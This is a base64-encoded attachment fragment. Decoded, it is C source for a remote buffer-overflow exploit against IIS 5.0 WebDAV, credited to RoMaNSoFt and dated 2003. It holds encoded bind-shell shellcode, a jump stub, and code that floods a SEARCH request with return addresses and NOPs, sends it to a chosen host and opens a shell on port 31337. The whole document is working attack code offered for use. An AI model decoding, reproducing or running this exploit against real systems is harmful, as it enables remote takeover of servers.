ZDlceDk5XHhkZFx4OTlceDk5XHg5OVx4MTRceDJjXHg2YyIKICAiXHhiY1x4ZDlceDk5XHhjZlx4
NjZceDBjXHhhZVx4YmNceGQ5XHg5OVx4MTRceDJjXHhiNFx4YmYiCiAgIlx4ZDlceDk5XHgzNFx4
YzlceDY2XHgwY1x4Y2FceGJjXHhkOVx4OTlceDE0XHgyY1x4YThceGJmIgogICJceGQ5XHg5OVx4
MzRceGM5XHg2Nlx4MGNceGNhXHhiY1x4ZDlceDk5XHgxNFx4MmNceDY4XHhiYyIKICAiXHhkOVx4
OTlceDE0XHgyNFx4YjRceGJmXHhkOVx4OTlceDNjXHgxNFx4MmNceDdjXHhiY1x4ZDkiCiAgIlx4
OTlceDM0XHgxNFx4MjRceGE4XHhiZlx4ZDlceDk5XHgzMlx4MTRceDI0XHhhY1x4YmZceGQ5Igog
ICJceDk5XHgzMlx4NWVceDFjXHhiY1x4YmZceGQ5XHg5OVx4OTlceDk5XHg5OVx4OTlceDVlXHgx
YyIKICAiXHhiOFx4YmZceGQ5XHg5OVx4OThceDk4XHg5OVx4OTlceDE0XHgyY1x4YTBceGJmXHhk
OVx4OTkiCiAgIlx4Y2ZceDE0XHgyY1x4NmNceGJjXHhkOVx4OTlceGNmXHhmM1x4OTlceGYzXHg5
OVx4ZjNceDg5IgogICJceGYzXHg5OFx4ZjNceDk5XHhmM1x4OTlceDE0XHgyY1x4ZDBceGJmXHhk
OVx4OTlceGNmXHhmMyIKICAiXHg5OVx4NjZceDBjXHhhMlx4YmNceGQ5XHg5OVx4ZjFceDk5XHhi
OVx4OTlceDk5XHgwOVx4ZjEiCiAgIlx4OTlceDliXHg5OVx4OTlceDY2XHgwY1x4ZGFceGJjXHhk
OVx4OTlceDEwXHgxY1x4YzhceGJmIgogICJceGQ5XHg5OVx4YWFceDU5XHhjOVx4ZDlceGM5XHhk
OVx4YzlceDY2XHgwY1x4NjNceGJkXHhkOSIKICAiXHg5OVx4YzlceGMyXHhmM1x4ODlceDE0XHgy
Y1x4NTBceGJjXHhkOVx4OTlceGNmXHhjYVx4NjYiCiAgIlx4MGNceDY3XHhiZFx4ZDlceDk5XHhm
M1x4OWFceGNhXHg2Nlx4MGNceDliXHhiY1x4ZDlceDk5IgogICJceDE0XHgyY1x4Y2NceGJmXHhk
OVx4OTlceGNmXHgxNFx4MmNceDUwXHhiY1x4ZDlceDk5XHhjZiIKICAiXHhjYVx4NjZceDBjXHg5
Zlx4YmNceGQ5XHg5OVx4MTRceDI0XHhjMFx4YmZceGQ5XHg5OVx4MzIiCiAgIlx4YWFceDU5XHhj
OVx4MTRceDI0XHhmY1x4YmZceGQ5XHg5OVx4Y2VceGM5XHhjOVx4YzlceDE0IgogICJceDJjXHg3
MFx4YmNceGQ5XHg5OVx4MzRceGM5XHg2Nlx4MGNceGE2XHhiY1x4ZDlceDk5XHhmMyIKICAiXHhh
OVx4NjZceDBjXHhkNlx4YmNceGQ5XHg5OVx4NzJceGQ0XHgwOVx4MDlceDA5XHhhYVx4NTkiCiAg
Ilx4YzlceDE0XHgyNFx4ZmNceGJmXHhkOVx4OTlceGNlXHhjOVx4YzlceGM5XHgxNFx4MmNceDcw
IgogICJceGJjXHhkOVx4OTlceDM0XHhjOVx4NjZceDBjXHhhNlx4YmNceGQ5XHg5OVx4ZjNceGM5
XHg2NiIKICAiXHgwY1x4ZDZceGJjXHhkOVx4OTlceDFhXHgyNFx4ZmNceGJmXHhkOVx4OTlceDli
XHg5Nlx4MWIiCiAgIlx4OGVceDk4XHg5OVx4OTlceDE4XHgyNFx4ZmNceGJmXHhkOVx4OTlceDk4
XHhiOVx4OTlceDk5IgogICJceGViXHg5N1x4MDlceDA5XHgwOVx4MDlceDVlXHgxY1x4ZmNceGJm
XHhkOVx4OTlceDk5XHhiOSIKICAiXHg5OVx4OTlceGYzXHg5OVx4MTJceDFjXHhmY1x4YmZceGQ5
XHg5OVx4MTRceDI0XHhmY1x4YmYiCiAgIlx4ZDlceDk5XHhjZVx4YzlceDEyXHgxY1x4YzhceGJm
XHhkOVx4OTlceGM5XHgxNFx4MmNceDcwIgogICJceGJjXHhkOVx4OTlceDM0XHhjOVx4NjZceDBj
XHhkZVx4YmNceGQ5XHg5OVx4ZjNceGM5XHg2NiIKICAiXHgwY1x4ZDZceGJjXHhkOVx4OTlceDEy
XHgxY1x4ZmNceGJmXHhkOVx4OTlceGYzXHg5OVx4YzkiCiAgIlx4MTRceDJjXHhjOFx4YmZceGQ5
XHg5OVx4MzRceGM5XHgxNFx4MmNceGMwXHhiZlx4ZDlceDk5IgogICJceDM0XHhjOVx4NjZceDBj
XHg5M1x4YmNceGQ5XHg5OVx4ZjNceDk5XHgxNFx4MjRceGZjXHhiZiIKICAiXHhkOVx4OTlceGNl
XHhmM1x4OTlceGYzXHg5OVx4ZjNceDk5XHgxNFx4MmNceDcwXHhiY1x4ZDkiCiAgIlx4OTlceDM0
XHhjOVx4NjZceDBjXHhhNlx4YmNceGQ5XHg5OVx4ZjNceGM5XHg2Nlx4MGNceGQ2IgogICJceGJj
XHhkOVx4OTlceGFhXHg1MFx4YTBceDE0XHhmY1x4YmZceGQ5XHg5OVx4OTZceDFlXHhmZSIKICAi
XHg2Nlx4NjZceDY2XHhmM1x4OTlceGYxXHg5OVx4YjlceDk5XHg5OVx4MDlceDE0XHgyY1x4Yzgi
CiAgIlx4YmZceGQ5XHg5OVx4MzRceGM5XHgxNFx4MmNceGMwXHhiZlx4ZDlceDk5XHgzNFx4Yzlc
eDY2IgogICJceDBjXHg5N1x4YmNceGQ5XHg5OVx4MTBceDFjXHhmOFx4YmZceGQ5XHg5OVx4ZjNc
eDk5XHgxNCIKICAiXHgyNFx4ZmNceGJmXHhkOVx4OTlceGNlXHhjOVx4MTRceDJjXHhjOFx4YmZc
eGQ5XHg5OVx4MzQiCiAgIlx4YzlceDE0XHgyY1x4NzRceGJjXHhkOVx4OTlceDM0XHhjOVx4NjZc
eDBjXHhkMlx4YmNceGQ5IgogICJceDk5XHhmM1x4YzlceDY2XHgwY1x4ZDZceGJjXHhkOVx4OTlc
eGYzXHg5OVx4MTJceDFjXHhmOCIKICAiXHhiZlx4ZDlceDk5XHgxNFx4MjRceGZjXHhiZlx4ZDlc
eDk5XHhjZVx4YzlceDEyXHgxY1x4YzgiCiAgIlx4YmZceGQ5XHg5OVx4YzlceDE0XHgyY1x4NzBc
eGJjXHhkOVx4OTlceDM0XHhjOVx4NjZceDBjIgogICJceGRlXHhiY1x4ZDlceDk5XHhmM1x4Yzlc
eDY2XHgwY1x4ZDZceGJjXHhkOVx4OTlceDcwXHgyMCIKICAiXHg2N1x4NjZceDY2XHgxNFx4MmNc
eGMwXHhiZlx4ZDlceDk5XHgzNFx4YzlceDY2XHgwY1x4OGIiCiAgIlx4YmNceGQ5XHg5OVx4MTRc
eDJjXHhjNFx4YmZceGQ5XHg5OVx4MzRceGM5XHg2Nlx4MGNceDhiIgogICJceGJjXHhkOVx4OTlc
eGYzXHg5OVx4NjZceDBjXHhjZVx4YmNceGQ5XHg5OVx4YzhceGNmXHhmMSIKICAiXHhlNVx4ODlc
eDk5XHg5OFx4MDlceGMzXHg2Nlx4OGJceGM5XHhjMlx4YzBceGNlXHhjN1x4YzgiCiAgIlx4Y2Zc
eGNhXHhmMVx4YWRceDg5XHg5OVx4OThceDA5XHhjM1x4NjZceDhiXHhjOVx4MzVceDFkIgogICJc
eDU5XHhlY1x4NjJceGMxXHgzMlx4YzBceDdiXHg3MFx4NWFceGNlXHhjYVx4ZDZceGRhXHhkMiIK
ICAiXHhhYVx4YWJceDk5XHhlYVx4ZjZceGZhXHhmMlx4ZmNceGVkXHg5OVx4ZmJceGYwXHhmN1x4
ZmQiCiAgIlx4OTlceGY1XHhmMFx4ZWFceGVkXHhmY1x4ZjdceDk5XHhmOFx4ZmFceGZhXHhmY1x4
ZTlceGVkIgogICJceDk5XHhlYVx4ZmNceGY3XHhmZFx4OTlceGViXHhmY1x4ZmFceGVmXHg5OVx4
ZmFceGY1XHhmNiIKICAiXHhlYVx4ZmNceGVhXHhmNlx4ZmFceGYyXHhmY1x4ZWRceDk5XHhkMlx4
ZGNceGNiXHhkN1x4ZGMiCiAgIlx4ZDVceGFhXHhhYlx4OTlceGRhXHhlYlx4ZmNceGY4XHhlZFx4
ZmNceGM5XHhmMFx4ZTlceGZjIgogICJceDk5XHhkZVx4ZmNceGVkXHhjYVx4ZWRceGY4XHhlYlx4
ZWRceGVjXHhlOVx4ZDBceGY3XHhmZiIKICAiXHhmNlx4ZDhceDk5XHhkYVx4ZWJceGZjXHhmOFx4
ZWRceGZjXHhjOVx4ZWJceGY2XHhmYVx4ZmMiCiAgIlx4ZWFceGVhXHhkOFx4OTlceGM5XHhmY1x4
ZmNceGYyXHhkN1x4ZjhceGY0XHhmY1x4ZmRceGM5IgogICJceGYwXHhlOVx4ZmNceDk5XHhkZVx4
ZjVceGY2XHhmYlx4ZjhceGY1XHhkOFx4ZjVceGY1XHhmNiIKICAiXHhmYVx4OTlceGNiXHhmY1x4
ZjhceGZkXHhkZlx4ZjBceGY1XHhmY1x4OTlceGNlXHhlYlx4ZjAiCiAgIlx4ZWRceGZjXHhkZlx4
ZjBceGY1XHhmY1x4OTlceGNhXHhmNVx4ZmNceGZjXHhlOVx4OTlceGRhIgogICJceGY1XHhmNlx4
ZWFceGZjXHhkMVx4ZjhceGY3XHhmZFx4ZjVceGZjXHg5OVx4ZGNceGUxXHhmMCIKICAiXHhlZFx4
YzlceGViXHhmNlx4ZmFceGZjXHhlYVx4ZWFceDk5XHhkYVx4ZjZceGZkXHhmY1x4ZmQiCiAgIlx4
YjlceGZiXHhlMFx4YjlceGU1XHhjM1x4ZjhceGY3XHhiOVx4YTVceGYwXHhlM1x4ZjhceGY3Igog
ICJceGQ5XHhmZFx4ZmNceGZjXHhlOVx4ZTNceGY2XHhmN1x4ZmNceGI3XHhmNlx4ZWJceGZlXHhh
NyIKICAiXHg5Ylx4OTlceDg2XHhkMVx4OTlceDk5XHg5OVx4OTlceDk5XHg5OVx4OTlceDk5XHg5
OVx4OTkiCiAgIlx4OTlceDk5XHg5NVx4OTlceDk5XHg5OVx4OTlceDk5XHg5OVx4OTlceDk4XHg5
OVx4OTlceDk5IgogICJceDk5XHg5OVx4OTlceDk5XHg5OVx4OTlceDk5XHg5OVx4OTlceDk5XHg5
OVx4OTlceDk5XHg5OSIKICAiXHg5OVx4OTlceDk5XHg5OVx4OTlceDk5XHg5OVx4OTlceDk5XHg5
OVx4OTlceDk5XHg5OVx4OTkiCiAgIlx4OTlceDk5XHg5OVx4OTlceDk5XHg5OVx4OTlceDk5XHg5
OVx4OTlceDk5XHg5OVx4OTlceDk5IgogICJceDk5XHg5OVx4OTlceDk5XHg5OVx4OTlceDk5XHg5
OVx4OTlceDk5XHg5OVx4OTlceDk5XHg5OSIKICAiXHg5OVx4OTlceDk5XHg5OVx4OTlceDk5XHg5
OVx4OTlceDk5XHg5OVx4OTlceDk5XHg5OVx4OTkiCiAgIlx4OTlceDk5XHg5OVx4OTlceDk5XHg5
OVx4OTlceDk5XHg5OVx4OTlceDk5XHg5OVx4OTlceDk5IgogICJceDk5XHg5OVx4OTlceDk5XHg5
OVx4OTlceDk5XHg5OVx4OTlceDk5XHg5OVx4OTlceDk5XHg5OSIKICAiXHg5OVx4OTlceGRhXHhk
NFx4ZGRceGI3XHhkY1x4YzFceGRjXHg5OVx4OTlceDk5XHg5OVx4OTkiCiAgIlx4ODlceDk5XHg5
OVx4OTlceDk5XHg5OVx4OTlceDk5XHg5OVx4OTlceDk5XHg5OVx4OTlceDk5IgogICJceDk5XHg5
OVx4OTlceDk5XHg5OVx4OTlceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MCI7Cgp1bnNp
Z25lZCBjaGFyIGp1bXBjb2RlW10gPSAiXHg4Ylx4ZjlceDMyXHhjMFx4ZmVceGMwXHhmMlx4YWVc
eGZmXHhlNyI7Ci8qIG1vdiBlZGksIGVjeAogKiB4b3IgYWwsIGFsCiAqIGluYyBhbAogKiByZXBu
eiBzY2FzYgogKiBqbXAgZWRpCiAqLwoKY2hhciBib2R5W10gPSAiPD94bWwgdmVyc2lvbj1cIjEu
MFwiPz5cclxuPGc6c2VhcmNocmVxdWVzdCB4bWxuczpnPVwiREFWOlwiPlxyXG4iIFwKICAiPGc6
c3FsPlxyXG5TZWxlY3QgXCJEQVY6ZGlzcGxheW5hbWVcIiBmcm9tIHNjb3BlKClcclxuPC9nOnNx
bD5cclxuPC9nOnNlYXJjaHJlcXVlc3Q+XHJcbiI7CgoKLyogT3VyIGNvZGUgc3RhcnRzIGhlcmUg
Ki8KaW50IG1haW4gKGludCBhcmdjLCBjaGFyICoqYXJndikgCnsKICAKICB1bnNpZ25lZCBsb25n
IHJldDsKICB1bnNpZ25lZCBzaG9ydCBwb3J0OwogIGludCB0cG9ydCwgYnBvcnQsIHMsIGksIGos
IHIsIHJ0PTA7CiAgc3RydWN0IGhvc3RlbnQgKmg7CiAgc3RydWN0IHNvY2thZGRyX2luIGRzdDsK
ICBjaGFyIGJ1ZmZlcltNQVhCVUZdOwoKICBpZiAoYXJnYyA8IDIgfHwgYXJnYyA+IDUpIAoJewoJ
ICBwcmludGYoIklJUyA1LjAgV2ViREFWIEV4cGxvaXQgYnkgUm9NYU5Tb0Z0IDxyb21hbkBycy1s
YWJzLmNvbT4uIDIzLzAzLzIwMDNcblVzYWdlOiAlcyA8dGFyZ2V0IGhvc3Q+IFt0YXJnZXQgcG9y
dF0gW2JpbmQgcG9ydF0gW3JldF1cbkUuZyAxOiAlcyB2aWN0aW0uY29tXG5FLmcgMjogJXMgdmlj
dGltLmNvbSA4MCAzMTMzNyAlIy40eFxuIiwgYXJndlswXSwgYXJndlswXSwgYXJndlswXSwgUkVU
KTsKCSAgZXhpdCgtMSk7Cgl9CiAgCiAgLy8gRGVmYXVsdCB0YXJnZXQgcG9ydCA9IDgwCiAgaWYg
KGFyZ2MgPiAyKQoJdHBvcnQgPSBhdG9pKGFyZ3ZbMl0pOwogIGVsc2UKCXRwb3J0ID0gODA7Cgog
IC8vIERlZmF1bHQgYmluZCBwb3J0ID0gMzEzMzcKICBpZiAoYXJnYyA+IDMpCglicG9ydCA9IGF0
b2koYXJndlszXSk7CiAgZWxzZQoJYnBvcnQgPSAzMTMzNzsKCiAgLy8gRGVmYXVsdCByZXQgdmFs
dWUgPSBSRVQKICBpZiAoYXJnYyA+IDQpCglyZXQgPSBzdHJ0b3VsKGFyZ3ZbNF0sIE5VTEwsIDE2
KTsKICBlbHNlCglyZXQgPSBSRVQ7CgogIGlmICggcmV0ID4gMHhmZmZmIHx8IChyZXQgJiAweGZm
KSA9PSAwIHx8IChyZXQgJiAweGZmMDApID09IDAgKSAKCXsKCSAgZnByaW50ZihzdGRlcnIsICJS
RVQgdmFsdWUgbXVzdCBiZSBpbiAweDAwMDAtMHhmZmZmIHJhbmdlIGFuZCBpdCBtYXkgbm90IGNv
bnRhaW4gbnVsbC1ieXRlc1xuQWJvcnRlZCFcbiIpOwoJICBleGl0KC0yKTsKCX0KICAgIAogIC8v
IFNoZWxsY29kZSBwYXRjaGluZwogIHBvcnQgPSBodG9ucyhicG9ydCk7CiAgcG9ydCBePSAweDk5
OTk7CiAgCiAgaWYgKCAoKHBvcnQgJiAweGZmKSA9PSAwKSB8fCAoKHBvcnQgJiAweGZmMDApID09
IDApICkgCgl7CgkgIGZwcmludGYoc3RkZXJyLCAiQmluZGluZy1wb3J0IGNvbnRhaW5zIG51bGwt
Ynl0ZS4gVXNlIGFub3RoZXIgcG9ydC5cbkFib3J0ZWQhXG4iKTsKCSAgZXhpdCgtMyk7Cgl9CiAg
CiAgKih1bnNpZ25lZCBzaG9ydCAqKSZzaGVsbGNvZGVbUE9SVF9PRkZTRVRdID0gcG9ydDsKICAq
KHVuc2lnbmVkIGxvbmcgKikmc2hlbGxjb2RlW0xPQURMX09GRlNFVF0gPSBMT0FETElCUkFSWUEg
XiAweDk5OTk5OTk5OwogICoodW5zaWduZWQgbG9uZyAqKSZzaGVsbGNvZGVbR0VUUFJPQ19PRkZT
RVRdID0gR0VUUFJPQ0FERFJFU1MgXiAweDk5OTk5OTk5OwogIC8vIElmIHRoZSBsYXN0IHR3byBp
dGVtcyBjb250YWluIGFueSBudWxsLWJ5dGVzLCBleHBsb2l0IHdpbGwgZmFpbC4KICAvLyBXQVJO
SU5HOiB0aGlzIGNoZWNrIGlzIG5vdCBwZXJmb3JtZWQgaGVyZS4gQmUgY2FyZWZ1bCBhbmQgY2hl
Y2sgaXQgZm9yIHlvdXJzZWxmIQogIAogIC8vIFJlc29sdmUgaG9zdG5hbWUKICBwcmludGYoIlsq
XSBSZXNvbHZpbmcgaG9zdG5hbWUgLi4uXG4iKTsKICBpZiAoKGggPSBnZXRob3N0YnluYW1lKGFy
Z3ZbMV0pKSA9PSBOVUxMKQoJewoJICBmcHJpbnRmKHN0ZGVyciwgIiVzOiB1bmtub3duIGhvc3Ru
YW1lXG4iLCBhcmd2WzFdKTsKCSAgZXhpdCgtNCk7Cgl9CiAgCiAgYmNvcHkoaC0+aF9hZGRyLCAm
ZHN0LnNpbl9hZGRyLCBoLT5oX2xlbmd0aCk7CiAgZHN0LnNpbl9mYW1pbHkgPSBBRl9JTkVUOwog
IGRzdC5zaW5fcG9ydCA9IGh0b25zKHRwb3J0KTsKICAKICAvLyBTb2NrZXQgY3JlYXRpb24KICBp
ZiAoKHMgPSBzb2NrZXQoQUZfSU5FVCwgU09DS19TVFJFQU0sIDApKSA9PSAtMSkgCgl7CgkgIHBl
cnJvcigiRmFpbGVkIHRvIGNyZWF0ZSBzb2NrZXQiKTsKCSAgZXhpdCgtNSk7Cgl9CiAgCiAgLy8g
Q29ubmVjdGlvbgogIGlmIChjb25uZWN0KHMsIChzdHJ1Y3Qgc29ja2FkZHIgKikmZHN0LCBzaXpl
b2YoZHN0KSkgPT0gLTEpCgl7CgkgIHBlcnJvcigiRmFpbGVkIHRvIGNvbm5lY3QiKTsKCSAgZXhp
dCgtNik7Cgl9CiAgCiAgLy8gQnVpbGQgbWFsaWNpb3VzIHN0cmluZy4uLgogIHByaW50ZigiWypd
IEF0dGFja2luZyBwb3J0ICVpIGF0ICVzIChFSVAgPSAlIy40eCUuNHgpLi4uXG4iLCB0cG9ydCwg
YXJndlsxXSwgKChyZXQgPj4gOCkgJiAweGZmKSwgcmV0ICYgMHhmZik7IAoKICBiemVybyhidWZm
ZXIsIE1BWEJVRik7CiAgc3RyY3B5KGJ1ZmZlciwgIlNFQVJDSCAvIik7CiAgCiAgaSA9IHN0cmxl
bihidWZmZXIpOwogIGJ1ZmZlcltpXSA9IE5PUDsgICAgICAgICAvLyBBbGlnbiBmb3IgUkVUIG92
ZXJ3cml0ZQoKICAvLyBOb3JtYWxseSwgRUlQIHdpbGwgYmUgb3ZlcndyaXR0ZW4gd2l0aCBidWZm
ZXJbOCsyMDg3XSBidXQgSSBwcmVmZXIgdG8gZmlsbCBzb21lIG1vcmUgYnl0ZXMgOy0pIAogIGZv
ciAoaj1pKzE7IGogPCBpKzIxNTA7IGorPTIpCgkqKHVuc2lnbmVkIHNob3J0ICopJmJ1ZmZlcltq
XSA9ICh1bnNpZ25lZCBzaG9ydClyZXQ7CgogIC8vIFRoZSByZXN0IGlzIHBhZGRlZCB3aXRoIE5P
UCdzLiBSRVQgYWRkcmVzcyBzaG91bGQgcG9pbnQgdG8gdGhpcyB6b25lIQogIGZvciAoOyBqIDwg
aSs2NTUzNS1zdHJsZW4oanVtcGNvZGUpOyBqKyspCglidWZmZXJbal0gPSBOT1A7CgogIC8vIFRo
ZW4gd2Ugc2tpcCB0aGUgYm9keSBvZiB0aGUgSFRUUCByZXF1ZXN0CiAgbWVtY3B5KCZidWZmZXJb
al0sIGp1bXBjb2RlLCBzdHJsZW4oanVtcGNvZGUpKTsKCiAgc3RyY3B5KGJ1ZmZlcitzdHJsZW4o
YnVmZmVyKSwgIiBIVFRQLzEuMVxyXG4iKTsKICBzcHJpbnRmKGJ1ZmZlcitzdHJsZW4oYnVmZmVy
KSwgIkhvc3Q6ICVzXHJcbkNvbnRlbnQtVHlwZTogdGV4dC94bWxcclxuQ29udGVudC1MZW5ndGg6
ICVkXHJcblxyXG4iLCBhcmd2WzFdLCBzdHJsZW4oYm9keSkgKyBzdHJsZW4oc2hlbGxjb2RlKSk7
CiAgc3RyY3B5KGJ1ZmZlcitzdHJsZW4oYnVmZmVyKSwgYm9keSk7CiAgCiAgLy8gVGhpcyBieXRl
IGlzIHVzZWQgdG8gbWFyayB0aGUgYmVnaW5uaW5nIG9mIHRoZSBzaGVsbGNvZGUKICBtZW1zZXQo
YnVmZmVyK3N0cmxlbihidWZmZXIpLCAweDAxLCAxKTsKICAKICAvLyBBbmQgZmluYWxseSwgd2Ug
bGFuZCBpbnRvIG91ciBzaGVsbGNvZGUKICBtZW1zZXQoYnVmZmVyK3N0cmxlbihidWZmZXIpLCBO
T1AsIDMpOwogIHN0cmNweShidWZmZXIrc3RybGVuKGJ1ZmZlciksIHNoZWxsY29kZSk7CiAgCiAg
Ly8gU2VuZCByZXF1ZXN0CiAgaWYgKHNlbmQocywgYnVmZmVyLCBzdHJsZW4oYnVmZmVyKSwgMCkg
IT0gc3RybGVuKGJ1ZmZlcikpCgl7CgkgIHBlcnJvcigiRmFpbGVkIHRvIHNlbmQiKTsKCSAgZXhp
dCgtNyk7Cgl9CgogIHByaW50ZigiWypdIE5vdyBvcGVuIGFub3RoZXIgY29uc29sZS9zaGVsbCBh
bmQgdHJ5IHRvIGNvbm5lY3QgKHRlbG5ldCkgdG8gdmljdGltIHBvcnQgJWkuLi5cbiIsIGJwb3J0
KTsKCiAgLy8gUmVjZWl2ZSByZXNwb25zZQogIHdoaWxlICggKHI9cmVjdihzLCAmYnVmZmVyW3J0
XSwgTUFYQlVGLTEsIDApKSA+IDApCglydCArPSByOwogIC8vIFRoaXMgY29kZSBpcyBub3QgYnVs
bGV0LXByb29mLiBBbiBldmlsIFdXVyBzZXJ2ZXIgY291bGQgcmV0dXJuIGEgcmVzcG9uc2UgYmln
Z2VyIHRoYW4gTUFYQlVGCiAgLy8gYW5kIGFuIG92ZXJmbG93IHdvdWxkIG9jY3VyIGhlcmUuIFll
cywgSSdtIGxhenkuLi4gOi0pCiAgCiAgYnVmZmVyW3J0XSA9ICdcMCc7CiAgCiAgaWYgKHJ0ID4g
MCkKCXByaW50ZigiWypdIFZpY3RpbSBzZXJ2ZXIgaXNzdWVkIHRoZSBmb2xsb3dpbmcgJWQgYnl0
ZXMgb2YgcmVzcG9uc2U6XG4tLVxuJXNcbi0tXG5bKl0gU2VydmVyIE5PVCB2dWxuZXJhYmxlIVxu
IiwgcnQsIGJ1ZmZlcik7CiAgZWxzZQogICAgcHJpbnRmKCJbKl0gU2VydmVyIGlzIHZ1bG5lcmFi
bGUgYnV0IHRoZSBleHBsb2l0IGZhaWxlZCEgQ2hhbmdlIFJFVCB2YWx1ZSAoZS5nLiAweGNlMDQp
IGFuZCB0cnkgYWdhaW4gKHdoZW4gSUlTIGlzIHVwIGFnYWluKSA6LS9cbiIsIGJwb3J0KTsKICAK
ICBjbG9zZShzKTsKCn0K
----=_cp718v0uae6unptdggu7umkckaenja7pdq.MFSBCHJLHS--